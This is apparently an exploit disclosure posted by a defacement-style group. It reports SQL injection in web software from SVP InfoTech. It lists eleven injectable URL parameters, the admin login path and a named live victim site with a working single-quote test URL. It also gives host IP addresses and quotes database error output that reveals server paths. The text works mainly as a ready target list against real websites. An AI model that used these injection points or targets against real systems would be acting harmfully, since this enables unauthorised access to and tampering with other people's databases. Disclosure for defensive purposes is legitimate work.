######################################################################################
# Exploit Title : SVP InfoTech SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 10/03/2019
# Vendor Homepage : svpinfotech.com
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
######################################################################################
# Impact :
***********
SVP InfoTech is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data
before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access
or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted
request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation
of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using
a browser or with any SQL Injector Tool.
######################################################################################
# SQL Injection Exploit :
**********************
/index.php?pg_id=1%27
/exclusive.php?pg_id=[SQL Injection]
/terminology_n_tip.php?id=[SQL Injection]
/category.php?cln_id=[SQL Injection]
/sub_category.php?cln_id=[SQL Injection]
/pricelist.php?pg_id=[SQL Injection]
/general_subproducts.php?mainprod=[SQL Injection]
/general_subproducts.php?mainprod=[ID-NUMBER]&pgno=[SQL Injection]
/about_collections.php?cln_id=[SQL Injection]
/sub_category.php?cln_id=1&cat_id=[SQL Injection]
/sub_category_article.php?cln_id=[ID-NUMBER]&cat_id=[ID-NUMBER]&sub_cat_id=[SQL Injection]
# Admin Panel Login Path :
*************************
/admin/login.php
######################################################################################
# Example Vulnerable Sites :
*************************
[+] mayflowers.in/sub_category.php?cln_id=1&cat_id=3%27
Vulnerable IP Addresses =>
svpinfotech.com (199.79.62.144) => There are 1,440 domains hosted on this server.
mayflowers.in (202.66.174.31) => There are 238 domains hosted on this server.
######################################################################################
# Example SQL Database Error :
****************************
Deprecated: mysql_connect(): The mysql extension is deprecated and
will be removed in the future: use mysqli or PDO instead in
/home/mayflowe/public_html/config.php on line 2
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean
given in /home/mayflowe/public_html/sub_category.php on line 12
######################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
######################################################################################